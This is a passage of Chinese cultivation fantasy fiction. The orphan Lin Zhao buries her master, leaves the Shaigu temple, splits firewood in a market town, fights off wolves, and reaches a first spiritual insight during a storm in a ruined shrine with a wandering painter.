阿茸在羊圈里又叫了一声,这次声音大了些。林照起身,轻手轻脚地出去,给羊添了草,换了水。白羊蹭了蹭她的手,眼神温顺。
她站在院子里,看着晒谷场,看着药田,看着远处连绵的山峦。夜风吹过,麦浪沙沙作响,像大地在呼吸。
怀里那枚麦穗很轻,但她觉得,那可能是她这辈子接过的最重的东西。
回屋前,林照又看了一眼师父的窗户。
烛火熄了,屋里一片黑暗。
但她知道,有些光,不在灯里,在心里。
6. 离观
老谷头是在第三日清晨走的。
那天林照起得特别早。天还没亮透,东方刚泛起鱼肚白,她就醒了。不是被鸡叫醒,也不是被阿茸吵醒,就是忽然醒了,心里空落落的,像少了什么。
她起身穿衣,先去灶房生火。柴是昨晚劈好的,干透了的松木,一点就着。火光照亮灶台,也照亮她平静的脸。她舀米,淘洗,添水,盖上锅盖。动作很慢,很仔细,像在完成某种仪式。
粥在锅里咕嘟咕嘟冒泡时,林照盛了一碗,又夹了一小碟腌萝卜,端去师父屋里。
推开门,晨光从窗棂斜斜照进来,灰尘在光柱里缓缓飞舞。老谷头躺在床上,盖着那床洗得发白的青布被子,睡得很安详。脸上皱纹舒展,嘴角微微上扬,像在做一场好梦。
林照把粥碗放在床头小几上,轻声说:“师父,该起了。”
没有回应。
她等了一会儿,又说:“今天天晴,正好晒麦子。您不是说想看看今年的新麦晒出来是什么成色吗?”
还是没有回应。
林照在床边坐下,看着师父的脸。老人的呼吸很轻,几乎看不见胸膛起伏。她伸出手,轻轻碰了碰师父的手背——凉的,已经凉透了。
她没有哭。
只是坐在那儿,坐了很长时间。晨光一点点挪移,从床边移到地上,照亮了床底那个旧木匣的轮廓。粥渐渐凉了,表面的米油凝成一层薄薄的膜。
直到门外传来豆苗的声音:“照姐,师父起来了吗?虎哥说今天该翻药田了……”
林照站起身,拉开门。
豆苗站在门口,小脸上还带着睡意。看见林照的表情,他愣住了:“照姐,你……”
“师父走了。”林照说得很平静,“去把大家都叫起来吧。”
豆苗的眼泪瞬间涌出来。他转身就跑,边跑边喊:“师父!师父走了!”
喊声像石子投入平静的池塘,晒谷观顿时乱了。
李虎第一个冲过来,他脸色苍白——伤还没好全,但跑得比谁都快。冲到门口,看见床上安睡的老人,他猛地停住脚步,嘴唇哆嗦着,说不出话。
其他孩子也陆续来了。年纪大些的两个孩子开始抹眼泪,小的几个懵懵懂懂,只知道跟着哭。豆苗扑到床边,抓住师父的手:“师父您醒醒……您还没教我认完药草呢……”
林照站在门边,看着这一切。她没有制止,也没有安慰,只是静静看着。晨光越来越亮,院子里的鸡开始打鸣,阿茸在羊圈里不安地踱步。
等哭声渐渐低下去,林照才开口:“豆苗,去打水。李虎,去库房拿白布。其他人,把院子收拾干净。”
她的声音不大,但很清晰。孩子们都抬起头看她。
“林照……”李虎张了张嘴,想说什么。
“师父昨晚交代过了。”林照说,“一切从简。葬在麦田边,面朝东方,不用棺木,不用陪葬,只裹三层白布,让身子直接贴着土地。”
她顿了顿:“这是他老人家的意思。”
李虎低下头,终究没再说什么。
葬礼很简单。
没有唢呐,没有纸钱,没有孝服。林照和孩子们用竹竿扎了个简易担架,铺上干草,把裹着白布的老谷头抬到麦田边——那里已经挖好了一个浅坑,是林照一早挖的。
坑不深,刚刚够一人平躺。林照跳下去,把坑底整理平整,又撒了一层干麦秸。然后大家小心翼翼地把师父抬进去,摆正,面朝东方——那是太阳升起的方向,也是晒谷观开山祖师当年来的方向。
填土时,豆苗又哭了。他一边哭一边捧土,土从指缝漏下去,洒在师父身上。林照没哭,只是机械地一捧一捧地填土。土很沉,很实在,像这片土地本身。
填平后,林照去后山搬了块青石板,立在坟前当墓碑。她没有刻字——老谷头说过,名字不重要,来过,活过,爱过,就够了。
做完这一切,太阳已经升得很高了。
七个孩子站在坟前,谁都没说话。风吹过麦田,麦浪翻滚,沙沙作响。远处山峦叠翠,近处野菊星星点点。这片土地还在呼吸,还在生长,仿佛什么都没发生过。
“回去吧。”林照说。
回到观里,该做饭的做饭,该喂鸡的喂鸡,该扫院的扫院。日子还得过下去,就像麦子一季一季地长。
午后,林照把所有人都叫到堂屋。
桌上放着那个旧木匣,还有晒谷观的钥匙。七个孩子围坐一圈,神色各异。李虎低着头,手捏着衣角;豆苗眼睛还红肿着;其他几个有的茫然,有的不安。
“师父把晒谷观托付给了我。”林照开口,声音平静,“但我不会一直留在这里。”
李虎猛地抬头:“你要走?”
“嗯。”林照点头,“我想出去看看。看看师父说的云上到底有没有花,看看外面的世界是什么样子。”
“那、那我们怎么办?”一个孩子怯生生地问。
“你们可以选择留下,也可以选择回家。”林照说,“留下的,我会把观里的粮食、药材都安排好,够吃两年。想回家的,每人给十斤米,五斤麦,算是这些年做工的报酬。”
屋里一阵骚动。
李虎第一个站起来:“我留下!”他说得斩钉截铁,“我要守着晒谷观。等、等以后我修为高了……”
“李虎。”林照打断他,“你留下可以,但要答应我一件事。”
“什么事?”
“三年之内,不许再碰《引气诀》。”林照看着他,“好好种地,好好晒谷,好好照顾师弟们。等你的心真的静下来了,再谈修行。”
李虎脸涨得通红,想反驳,但看到林照的眼神,又咽了回去。那眼神很平静,却有种不容置疑的力量。
豆苗拽住林照的衣角:“照姐,我跟你走……”
“你太小。”林照摸摸他的头,“留在观里,好好长大。等我回来,教你认药草。”
“那、那你什么时候回来?”
林照沉默了一会儿:“不知道。也许很快,也许……要很久。”
她打开木匣,把里面的东西一样一样拿出来。那枚干枯的麦穗,她揣进怀里。那半封信和玉牌,她放回匣子,锁好,钥匙交给李虎:“这个你保管。除非万不得已,不要打开。”
李虎接过钥匙,握得很紧。
林照又拿出一个小布袋,里面是这些年攒下的碎银——总共不到五两,是老谷头给人看病换来的。她分出一半给李虎:“这是应急用的。省着点花。”
然后她站起身:“我去收拾东西。你们……都好好想想。”
林照的包袱很简单。
两套换洗衣服——都是粗布缝的,洗得发白,但干净。一双新纳的布鞋,鞋底厚实,适合走远路。一个小陶罐,里面装着晒干的药草:金银花、薄荷、甘草,都是寻常东西,但应急有用。还有那本《晒谷心经》,她用油布仔细包好,贴身放着。
最后,她从墙上取下斗
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笠和蓑衣——下雨用得着。
收拾完,天已近黄昏。
林照在观里走了一圈。灶房的柴火堆得整整齐齐,水缸是满的,药房的药材都晾晒好了,库房的粮食码得规规矩矩。她又去看了看药田,那几株移栽的当归已经扎根,叶子重新舒展开来,在晚风里轻轻摇曳。
最后,她走到羊圈。
阿茸站在圈里,静静地看着她。白羊的伤好了大半,脖子上的伤口结了一层薄痂。它耳朵动了动,像是知道她要走。
林照打开圈门,走进去,抱住阿茸的脖子。白羊温顺地蹭她,喉咙里发出轻轻的咕噜声。
“阿茸,”她轻声说,“我要走了。你好好在这里,等我回来。”
阿茸舔了舔她的手。
她从怀里摸出最后一把苜蓿——早上特意去后山掐的,最嫩的那种。阿茸低头慢慢吃,吃得很斯文,仿佛在品尝什么珍馐美味。
林照又抱了它一会儿,才起身离开。
走出晒谷观时,六个孩子都站在门口。李虎抿着嘴,眼神复杂;豆苗又开始掉眼泪;其他人默默看着她。没有人说话,只有风吹过屋檐的呜呜声。
林照朝他们点点头,转身走上山路。
包袱很轻,脚步也很轻。夕阳把她的影子拉得很长,在黄土路上摇曳。她没有回头——不是不想,是不敢。怕一回头,就再也走不动了。
走出半里地,翻过第一个山坳。
林照停下脚步,终于还是回了头。
晒谷观已经看不见了,只能看见一片麦田,在夕阳下泛着金红色的光。观前那棵老槐树还立着,树梢上停着几只归巢的鸟。
她站了一会儿,继续往前走。
又走了一里,翻过第二个山头。
这次她回头时,看见了一个小小的白点——在晒谷观后山的山崖上,孤零零地立着。她知道那是阿茸。白羊站在崖边,一动不动,像一尊石像。
林照的鼻子有点酸。她挥了挥手,也不知道阿茸能不能看见。
再走,天快黑了。
第三次回头时,山崖上那个白点还在。暮色苍茫,远山如黛,那个小小的白点在渐浓的夜色里,像一颗不肯熄灭的星。
林照站在山路中央,眼泪终于掉下来。
不是号啕大哭,只是静静地流泪。泪水顺着脸颊滑落,滴进脚下的尘土里,很快就干了。她抬手抹了把脸,深吸口气,转过身,继续往前走。
这一次,她没有再回头。
夜色完全笼罩下来时,林照走到了山脚的小镇。
镇子不大,只有一条主街,两旁是些低矮的瓦房。几家客栈门口挂着灯笼,昏黄的光晕在石板路上摇曳。街边有家茶肆还没打烊,说书人的声音隐约传来:
“……那仙人一挥手,便是雷霆万钧!妖魔辟易,山河变色!欲知后事如何,且听下回分解!”
林照站在街口,听着这陌生的声音,看着这陌生的灯火,忽然觉得心里空了一块。
但她摸了摸怀里的那枚麦穗——干枯的,轻飘飘的,却像有千钧重。
她深吸口气,抬脚走进小镇。
夜风从身后吹来,带着山野的气息,带着麦田的清香,带着晒谷观三百年的烟尘。
她一步步向前走,每一步都踏得很实。
就像麦子拔节,就像草叶生长,就像溪水流淌——自然而然地,向前。
路还长。
但师父说过:再走一步,就一步。
7. 初入尘世
青石镇的清晨来得早。
鸡叫第一遍,街上的铺子就陆续卸下门板。卖早点的摊子支起炉灶,蒸笼里冒出白腾腾的热气,油条下锅时滋啦作响。赶集的人从四面八方涌来,挑着担子,牵着牲口,把原本就不宽的街道挤得水泄不通。
林照在街角一家客栈的屋檐下醒来。
她昨晚没住店——那点碎银得省着花。掌柜看她一个姑娘家可怜,许她在檐下凑合一夜。条件是不能挡着门,天一亮就得走。
林照活动了下僵硬的四肢,把包袱重新系好。清晨的露水打湿了头发,凉丝丝的。她戴上斗笠,遮住半边脸,然后开始琢磨今天的第一顿饭。
怀里还有半个干饼,是离开晒谷观时豆苗偷偷塞给她的。但她没吃,收了起来——那是晒谷观的味道,得留着。
沿着主街走了一圈,林照停在了一家铁匠铺前。
铺子刚开门,炉火还没生起来。一个膀大腰圆的汉子正在整理铁砧,看见林照站在门口,粗声问:“姑娘,打铁?”
“不打铁。”林照摘下斗笠,“您这儿……缺劈柴的吗?”
汉子一愣,上下打量她。林照穿着粗布衣裳,身材单薄,但手脚结实,尤其那双手——虎口有厚茧,指节粗大,一看就是干过活的。
“你会劈柴?”汉子怀疑。
“会。”林照点头,“晒谷观的孩子,五岁开始劈柴。”
“晒谷观?”汉子想了想,“哦,山上那个破道观?老谷头那儿?”
“是。”
汉子的眼神柔和了些:“老谷头是个好人。去年我媳妇难产,是他给救回来的。”他顿了顿,“行吧,后院有堆木料,原是打算雇人劈的。你要是能干,劈完给十文钱,管顿饭。”
“好。”
林照跟着汉子穿过铺子,来到后院。院子不大,堆着小山似的圆木段,都是手臂粗细的松木。墙角立着两把斧头,一把旧一把新。
她选了那把旧的——斧柄磨得发亮,斧刃有些钝,但用着顺手。
汉子给她端了碗水,就回前面忙活去了。
林照挽起袖子,蹲下身,抱起第一段圆木。木头很沉,带着松脂的清香。她把木头竖在木墩上,双手握斧,举过头顶,停顿了一息。
这一息里,她没有急着劈下。
而是像在晒谷观时那样,闭上眼,感受——感受木头的纹理,感受斧头的重量,感受清晨的风从指缝流过。然后,她“看”到了。
不是用眼睛,是那种奇妙的感知。
她“看”到圆木内部的纤维走向,看到哪里是年轮最密集处,哪里是天然的裂缝线。就像在药田里看到植物的根系,在麦田里看到大地的脉动。
斧头落下。
不是用蛮力,是顺着纹理。斧刃切入木头的瞬间,几乎没有遇到阻力,像热刀切黄油。木头应声裂成两半,裂面平整,纹理清晰。
林照睁开眼,看着劈开的木头,若有所思。
《晒谷心经》里说:“万事万物,皆有纹路。顺纹而为,事半功倍。”
她以前只当是种地的道理,现在看来,劈柴也一样。
接下来,她劈得更慢了。每一段木头抱起来,都要先“感受”一番,找到最佳的落斧点。有时劈一次,有时要调整角度劈两次,但每一斧都精准而高效。
日头渐渐升高。
后院堆起的木柴越来越多,整整齐齐码在墙角。松木的清香弥漫开来,混合着汗水的气息。林照的额角沁出细密的汗珠,但她没停,只是偶尔停下来喝口水,擦把汗。
快到晌午时,汉子到后院来看了一眼,愣住了。
他看看那堆劈好的木柴,又看看林照,半晌才说:“你……你是怎么劈的?我雇过不少人来劈这堆料,最快也要两天。你这一上午,劈了一半还多。”
林照擦了把汗:“顺着纹路劈,省力。”
汉子蹲下身,拿起一块劈好的木柴。断面平整光滑,年轮清晰可见。他抬头看看林照,眼神变了:“姑娘,你练过?”
“练过什么?”
“武艺啊。”汉子比划着,“这劈柴的手法,分明是懂发力的门道。”
林照摇头:“没练过。就是种地种多了,知道怎么用劲儿。”
汉子将信将疑,但也没多问。他回屋端了午饭出来:两个粗面馒头,一碗白菜炖豆腐,还有一小碟咸菜。
“先吃饭。”他说,“吃完再干。”
林照确实饿了。她在井边洗了手,坐在木墩上开始吃。馒头很硬,菜没什么油水,但她吃得很香——这是用劳动换来的饭,踏实。
吃到一半,前头铺子传来喧闹声。
几个锦衣华服的年轻人走进来,腰间佩剑,神色倨傲。为首的男子约莫二十出头,面容俊朗,但眉宇间有股挥之不去的轻浮气。
“王铁匠,我的剑好了吗?”他敲着柜台问。
汉子连忙放下碗筷迎出去:“李公子,好了好了,昨晚刚淬的火,今早磨的刃。”他从柜子里取出一柄长剑,剑鞘镶着宝石,华贵非常。
李公子拔剑出鞘。剑身寒光闪闪,映出他得意的脸。他随手挽了个剑花,剑锋破空,发出尖啸。
“不错。”他点头,“多少钱?”
“老规矩,三十两。”
李公子随手扔下一锭银子:“不用找了。”他瞥了眼后院的林照,“那丫头是谁?新招的伙计?”
“临时帮工,劈柴的。”
“劈柴?”李公子嗤笑,“细胳膊细腿的,能劈动柴?”他忽然来了兴致,提着剑走到后院,“喂,丫头,耍过剑吗?”
林照放下碗筷,站起身:“没有。”
“那今天让你开开眼。”李公子手腕一抖,剑光如练,在院子里舞了起来。剑招花哨,步伐轻盈,确实有些功底。他越舞越得意,最后大喝一声,一剑劈向院角那段还没劈的圆木——
剑锋入木三寸,卡住了。
李公子脸色一僵,用力拔剑,没拔出来。再用力,还是纹丝不动。他脸涨得通红,又不好在众人面前丢脸,只能暗暗使上内力。
“咔嚓!”
剑断了。
半截剑身嵌在木头里,半截握在他手里。断口处露出里面灰白的材质——不是精铁,是掺杂了大量杂质的劣铁。
院子里一片死寂。
李公子的脸从红转白,又从白转青。他猛地转头,恶狠狠盯着铁匠:“王铁匠!你敢用劣铁糊弄我?!”
汉子脸色煞白:“李公子息怒,这、这……”
“我付了三十两银子!你就给我这把破铜烂铁?!”李公子把断剑摔在地上,“今天不给我个交代,我砸了你的铺子!”
他身后的几个跟班也围了上来,摩拳擦掌。
林照默默看着这一幕。她蹲下身,捡起那段嵌着半截剑的圆木,仔细看了看断口,又看了看地上那半截剑身。
“李公子。”她忽然开口。
所有人都看向她。
“这把剑,”林照举起圆木,“不是铁匠的问题。”
“你说什么?”李公子眯起眼。
林照指着断口:“您看这里。剑锋切入木头时,原本应该顺着木纹裂开。但您刚才那一剑,劈在了木节上。”她用手指点了点圆木上一个不起眼的疙瘩,“这是松木的木节,最硬的地方。您又用上了内力,剑身承受不住,就断了。”
李公子愣住了。他凑近看了看,果然,断口正卡在那个木节上。
“可、可我的剑……”
“剑是好剑。”林照说,“只是不该这么用。”她把圆木放在木墩上,拿起那把旧斧头,“您看。”
她双手握斧,举过头顶,然后轻轻落下——不是劈,是顺着木节的纹理,斜着切入。斧刃像切豆腐一样没入木头,然后她手腕一拧,轻轻一挑。
“咔”的一声轻响,木节完整地剥落下来,滚到地上。断面光滑如镜。
而那段圆木,沿着天然的裂缝,整齐地分成两半。
林照放下斧头:“木头有木头的脾气,剑有剑的性子。用剑劈柴,就像用锄头绣花——不是东西不好,是用错了地方。”
李公子呆呆地看着地上的木节,又看看那段劈开的圆木,半晌说不出话。
他身后的跟班小声嘀咕:“这丫头说的……好像有点道理。”
铁匠趁机上前打圆场:“李公子,这样,我再给您打一把,分文不收,如何?”
李公子终于回过神,他深深看了林照一眼,忽然笑了:“有意思。”他从怀里又摸出一锭银子,扔给铁匠,“不用重打。这把断剑,我留着当个教训。”
他弯腰捡起地上那半截剑身,擦了擦灰,插回剑鞘。临走前,他回头对林照说:“丫头,你叫什么名字?”
“林照。”
“林照……”李公子念了一遍,“我记住你了。下次来青石镇,请你喝茶。”
说完,他带着人走了。
铁匠长舒一口气,擦擦额头的汗:“姑娘,今天多亏你了。不然我这铺子……”他顿了顿,“这样,今天的工钱,我给你二十文!”
林照摇头:“说好十文,就十文。”
汉子拗不过,只好给了十文钱,又硬塞给她两个馒头:“这个拿着,路上吃。”
林照接过钱和馒头,道了谢,收拾好包袱准备离开。
“姑娘,”铁匠忽然叫住她,“你要去哪儿?”
“不知道。”林照老实说,“走走看看。”
“那你可得小心。”汉子压低声音,“最近镇子不太平。听说东边出了个什么‘血刀门’,专抢落单的行人。还有西边的山路,有狼群出没。”
林照点头:“多谢提醒。”
她戴上斗笠,走出铁匠铺。
日头已经偏西,街上的人少了许多。林照揣着那十文钱,在街上慢慢走。经过一家书肆时,她停下来,看了看橱窗里摆着的书——大多是话本传奇,封面画着飞天遁地的仙人。
她摸了摸怀里那本用油布包着的《晒谷心经》,继续往前走。
傍晚时分,她来到镇东头的茶肆。
茶肆里已经坐了不少人,都是劳累一天来听书解乏的。说书人是个干瘦的老头,穿着洗得发白的长衫,正唾沫横飞地讲着:
“……却说那玄霄阁的凌霄真人,一剑破开九重天!只见天上霞光万道,仙乐飘飘,天门洞开!诸位,那可是真正的仙界啊!琼楼玉宇,金砖铺地,仙娥起舞,神兽巡游……”
听众们听得如痴如醉,有人张着嘴,有人端着茶碗忘了喝。
林照站在门口听了一会儿,找了个角落的空位坐下。茶博士过来,她只要了一碗最便宜的清茶——两文钱。
说书人讲到高潮处,一拍醒木:“欲知凌霄真人飞升之后如何,且听下回分解!”
茶肆里顿时响起一片惋惜声。有人往说书人面前的盘子里扔铜钱,叮当作响。
林照慢慢喝着茶。茶很涩,没什么味道,但解渴。
邻桌几个行商模样的人在闲聊。
一个说:“听说了吗?玄霄阁下个月要办‘百派试炼’,胜者可直接入内门修行!”
另一个说:“何止内门,听说前三名有机会得金丹真人亲自指点!”
“金丹真人啊……那岂不是一步登天?”
林照端着茶碗的手顿了顿。
百派试炼?玄霄阁?
她想起晒谷观那日,那个月白道袍的青年,那个测出她“五废之体”的玉盘,那句冰冷的“终身难筑基”。
说书人收拾好东西,准备离场。林照起身走过去,从怀里摸出一文钱,放进他的盘子。
老头抬眼看看她:“姑娘想听什么?”
“老先生,”林照轻声问,“您刚才说的九重天阙……上面的仙人,会为一朵野花驻足吗?”
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说书人一愣,随即哈哈大笑:“姑娘说笑了!仙人眼里,一朵野花算什么?他们看的都是千年灵芝,万年仙草!”
“那……仙人会为一只羊落泪吗?”
“羊?”老头笑得更厉害了,“仙人骑的是仙鹤,乘的是祥云,要羊作甚?”
林照点点头,没再问。她转身离开茶肆。
走出门时,听见老头在后面嘀咕:“这姑娘,脑子怕不是有问题……”
天色渐暗。
林照决定在镇外找个地方过夜。她沿着镇东的小路走,准备找个避风的桥洞或者破庙。刚走出二里地,忽然觉得不对劲。
风里有股腥气。
不是雨腥,是野兽的腥臊气。她猛地停住脚步,握紧包袱——里面除了衣物,还有那把劈柴的旧斧头,铁匠见她喜欢,送她了。
前方路边的草丛里,传来窸窸窣窣的声音。
林照慢慢后退,眼睛盯着那片草丛。月色暗淡,只能看见模糊的影子在晃动。一个,两个,三个……至少有四头狼。
她想起铁匠的警告:西边山路有狼群出没。
没想到这么快就遇上了。
狼群从草丛里钻出来,一字排开,拦住去路。领头的狼体型硕大,左眼有一道疤,显然是狼王。它们盯着林照,喉咙里发出低沉的呜咽。
林照深吸口气,从包袱里抽出斧头。
斧柄粗糙,握在手里很踏实。她想起在晒谷观后山对付狼群的情景,想起阿茸脖子上的伤,想起师父说的话:该跑的时候,千万别逞强。
但这次,她跑不了。
前后都是荒野,最近的镇子也有二里地。狼群的速度,她跑不过。
只能拼了。
狼王发出一声低吼,四头狼同时扑了上来!
林照双手握斧,没有急着劈,而是向侧边跨了一步——就像在药田里避开金银花的根系,就像劈柴时避开木节。这一步跨得巧妙,刚好躲开最先扑来的那头狼。
但第二头、第三头已经扑到近前。
她抡起斧头横扫。不是劈柴时那种精准的力道,是保命时全力的挥击。斧刃划破空气,带着风声,逼得两头狼后撤。
第四头狼趁机绕到她背后,一口咬向她的腿!
林照来不及转身,只能往前扑倒。斧头脱手飞出,砸在路边的石头上,溅起火星。她在地上翻滚,抓起一把泥土,朝扑上来的狼撒去!
泥土迷了狼眼。那狼惨叫一声,拼命甩头。
林照趁机爬起来,想捡回斧头。但狼王已经扑到面前,血盆大口直咬她的咽喉!
千钧一发之际,她脑中忽然闪过《晒谷心经》里那幅图:上接天光,中承风气,下连地脉。人在其中,如穗在田。
她脚下一顿,身体像麦穗一样,顺着狼王扑来的风势,向后倒去。不是硬抗,是顺势。就像麦浪在风中起伏,看似柔弱,却借力卸力。
狼王扑了个空,从她头顶掠过。
林照趁机一个翻滚,捡起斧头。但没等她站稳,四头狼已经重新围了上来。这次它们学乖了,不再贸然扑击,而是慢慢缩小包围圈。
林照喘息着,汗水浸湿了后背。她能感觉到腿在抖——不是怕,是累。一天的劳累,加上刚才的搏斗,体力快耗尽了。
狼群显然也看出了她的疲态。狼王舔了舔嘴唇,绿莹莹的眼睛里闪着嗜血的光。
就在林照以为今晚要交代在这里时——
远处传来马蹄声。
急促,密集,至少有五六匹马。狼群同时竖起耳朵,警惕地望向声音来处。狼王低吼一声,似乎在犹豫。
马蹄声越来越近,火把的光亮刺破夜色。
狼王终于做出决定。它长嚎一声,带着狼群转身窜进路边的草丛,几个起落就消失在黑暗里。
林照拄着斧头,大口喘息。她看向来路,看见五六匹马疾驰而来,马上的人举着火把,身穿统一的青色劲装,胸口绣着云纹。
玄霄阁的弟子。
马队在林照面前勒住。为首的是个三十来岁的女子,面容清冷,眼神锐利。她居高临下地看着林照:“姑娘没事吧?”
“没事。”林照摇头,“多谢。”
女子目光扫过她手里的斧头,又看了看地上的痕迹:“你一个人对付四头狼?”
“运气好。”
女子没再追问,只是说:“这附近不太平。姑娘若无事,还是回镇上去吧。”
林照点头:“这就回。”
女子调转马头,准备离开。忽然又回头:“姑娘可是要去参加百派试炼?”
林照一愣:“您怎么知道?”
“这条路的尽头,是玄霄阁。”女子淡淡说,“每年这个时候,总有不少年轻人想去碰碰运气。”她顿了顿,“不过我得提醒你:试炼很残酷,不是过家家。修为不够的,去了也是送死。”
说完,她策马离开。其余弟子紧随其后,马蹄声渐行渐远。
林照站在原地,看着火把的光亮消失在夜色里。
她弯腰捡起包袱,拍了拍土。然后抬头,望向东方——那里是玄霄阁的方向,也是传说中“九重天阙”的方向。
风从那边吹来,带着山野的凉意。
她摸了摸怀里的麦穗,又摸了摸那本《晒谷心经》。
然后转身,朝来路走去。
不是回青石镇,是继续向东。
茶肆里说书人的声音仿佛还在耳边:“仙人眼里,一朵野花算什么?”
林照不知道仙人眼里算什么。
她只知道,在她眼里,一朵野花很重要。重要到可以为之驻足,为之落泪,为之拼上性命。
夜色深沉。
她一步一步走着,每一步都踩得很实。
像麦子扎根,像溪水流淌,像这片土地本身——沉默,但坚韧。
路还长。
但她已经知道要去哪儿了。
8. 暴雨见云
暴雨是在子夜时分下起来的。
起初只是零星的雨点,砸在破庙的瓦片上,啪嗒啪嗒,像有人在轻叩门扉。林照蜷在庙角一堆干草上,本已昏昏欲睡,却被这声音惊醒。她睁开眼,看见庙门外的夜色里,雨丝越来越密,渐渐连成一片白茫茫的雨幕。
风从门缝灌进来,带着潮湿的土腥气。供桌上的半截蜡烛被吹得摇摇晃晃,火光在墙上投出扭曲的影子。庙里很破,神像早已斑驳不清,香炉倒在地上,积了厚厚的灰。
林照坐起身,紧了紧身上的衣服。她今天赶了一天的路,从青石镇往东走了约莫四十里,黄昏时分找到这座废弃的山神庙落脚。原以为能睡个好觉,看来是不成了。
雨越下越大。
不是寻常的夏雨,是那种倾盆而下的暴雨。雨点砸在瓦片上,发出密集的鼓点声;雨水从屋檐倾泻而下,在庙门外汇成一条急流。远处的山峦完全隐没在雨幕里,天地间只剩下哗啦啦的水声。
林照起身走到门边,看着外面白茫茫一片。这种天气,狼群应该不会出来了,但她也别想继续赶路。她退回庙里,找了处不漏雨的角落重新坐下,从包袱里摸出半个干馒头,慢慢啃着。
就在这时,她听见了脚步声。
不是雨声,是踩在水里的啪嗒声,由远及近。林照握紧怀里的斧头,眼睛盯着庙门。
一个人影跌跌撞撞冲进庙里。
是个中年男子,浑身湿透,长发散乱,脸上沾满泥水。最奇怪的是他背上背着一个巨大的竹篓,篓子里插满了卷轴,用油布仔细包着,倒是没怎么淋湿。他冲进庙里,第一件事不是找地方躲雨,而是扑到供桌前,用袖子拼命擦拭神像脚下的石台。
“罪过罪过,让您老人家受潮了……”他一边擦一边喃喃自语。
林照警惕地看着他。男子擦完石台,这才松了口气,转身看向林照,咧嘴一笑。这一笑露出满口黄牙,但眼神清亮,有种说不出的天真。
“小姑娘,借个地方避避雨,不介意吧?”他说着,也不等林照回答,自顾自卸下竹篓,从里面抽出一张油布铺在地上,又摸出笔墨纸砚,整整齐齐摆开。
林照没说话,只是往墙角缩了缩。
男子也不在意,他盘腿坐下,摊开宣纸,磨墨,舔笔,然后……对着门外的暴雨,开始作画。
不是画庙里的神像,也不是画雨景,而是画——云。
林照远远看着。只见他笔走龙蛇,墨迹淋漓,寥寥数笔,纸上便浮现出翻滚的云海。云不是静止的,是在流动的,仿佛要从纸面上涌出来。云海深处,隐约可见一座小屋的轮廓,很小,很模糊,像海市蜃楼。
“这是什么地方?”林照忍不住问。
男子头也不抬:“云外之境。”
“云外……真有这个地方?”
“有,也没有。”男子停下笔,抬头看她,“你说有,它就有;你说没有,它就没有。”他又低头继续画,“就像这场雨,你说它在,它就在;你说它不在,闭上眼睛,它就真的不在了?”
这话有些疯癫,但林照却听出些道理。她想起《晒谷心经》里说的:“真实与虚幻,只在一念之间。”
雨下得更急了。
雷声从远方滚来,闷闷的,像巨人在擂鼓。闪电撕裂夜空,瞬间照亮庙宇内外。就在那一瞬间,林照看见男子画上的云海,仿佛真的活了过来——云在翻涌,雨在倾泻,那座小屋的窗户里,似乎透出一点微弱的光。
她眨了眨眼,再看时,画还是画。
“你看见了,对吧?”男子忽然说。
林照心头一震:“看见什么?”
“光。”男子放下笔,指着画上的小屋,“那座屋子里,有人在点灯。”
“可那只是画……”
“画就不是真的?”男子笑了,“你做的梦是真的吗?你回忆里的麦田是真的吗?你心里想去的那个地方,是真的吗?”他一连串发问,问得林照哑口无言。
雷声又近了。
这次闪电几乎劈在庙外,刺目的白光让林照下意识闭上眼睛。再睁开时,她忽然发现——雨好像变慢了。
不是雨真的慢了,是她的感知变了。
她看见每一滴雨落下的轨迹,看见雨滴砸在地面溅起的水花形状,看见水流在泥泞里蜿蜒的脉络。就像在晒谷观药田里看见植物的根系,在劈柴时看见木头的纹理,但这次更清晰,更广阔。
她“看”到整场暴雨的脉络。
雨从云中来,云从风中生,风从天地间起。每一滴雨都是一条线,千万条线交织成网,笼罩四野。而在这张网里,有生命的在呼吸,无生命的在承受,天地万物都在这场雨中连接在一起。
林照站起身,走到门边。
她伸出手,让雨水打在掌心。这一次,她不是感受凉意,而是顺着雨水,将感知延伸出去。
感知像藤蔓一样,沿着雨线向上攀升。她“看”到雨水在空中凝结的过程,“看”到云层里水汽的翻涌,“看”到更深处——那里不是乌云,是一片澄明的虚空。虚空中有光,很淡,像晨曦初露时的天光。
那就是……云之上?
林照屏住呼吸,继续延伸感知。但就在这时,一阵剧痛从眉心传来,像有根针狠狠扎进去。她闷哼一声,踉跄后退,跌坐在地上。
“贪心了。”男子的声音传来,“第一次‘见云’,就想看透九重天?不怕把眼睛看瞎了?”
林照捂着额头,冷汗涔涔。那疼痛来得快去得也快,但余韵让她眼前发黑,好一会儿才缓过来。
“见云?”她喘着气问。
“修行的第一境。”男子继续画画,语气平淡,“能看清事物本来的轨迹,能感知天地间的脉络。有人要练十年,有人一辈子都摸不着门。你倒好,一场雨就悟了。”
林照愣了愣。她想起《晒谷心经》里提到过境界划分,但语焉不详,只说“顺其自然,水到渠成”。原来刚才那种感知,就是“见云”?
“你……怎么知道?”她看向男子。
男子终于画完最后一笔,放下笔,满意地端详着自己的作品:“因为我见过很多像你这样的人。在山野间长大,与土地亲近,心思单纯。这样的人,一旦开悟,往往比那些宗门里按部就班培养的弟子走得更远。”他顿了顿,“但也更容易走偏。”
“为什么?”
“因为你们太相信自己的眼睛。”男子转头看她,“‘见云’境,能看清轨迹,能感知脉络,这是好事。但你要记住——你看清的,只是你能理解的部分。天地之大,万物之妙,你才看了多少?”
林照沉默。这话像一盆冷水,浇灭了她刚才那点欣喜。
男子却笑了:“不过,能在这破庙里,靠一场雨就悟出‘见云’,你也算是个异数了。”他从竹篓里又抽
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出一张纸,飞快画了几笔,然后递给林照,“这个送你。”
林照接过。纸上画着一滴雨,正在下落。雨滴里倒映出天空、云朵、远山,还有一座小屋的檐角。画得很简单,但神韵十足。
“这是什么?”
“你刚才看见的东西。”男子说,“收好了。哪天你迷失方向,拿出来看看——想想这场雨,想想你是怎么‘看’清它的。”
林照郑重地把画折好,收进怀里。
雨渐渐小了。
从瓢泼大雨转成淅淅沥沥的小雨,最后只剩下屋檐滴水的声音。东方泛起鱼肚白,天快亮了。
男子开始收拾东西。他把画好的卷轴仔细卷好,用丝带系紧,放回竹篓。动作很慢,很珍惜,像在对待什么稀世珍宝。
“你要走了?”林照问。
“雨停了,该赶路了。”男子背起竹篓,“小姑娘,你也要去玄霄阁?”
林照点头。
“劝你一句。”男子走到门边,回头看她,“玄霄阁的路,是别人铺好的路。走得再远,也是走在别人的风景里。”他指了指自己竹篓里的画,“真正的风景,得自己去找。”
说完,他踏着晨光,走进渐渐散去的雨幕里。
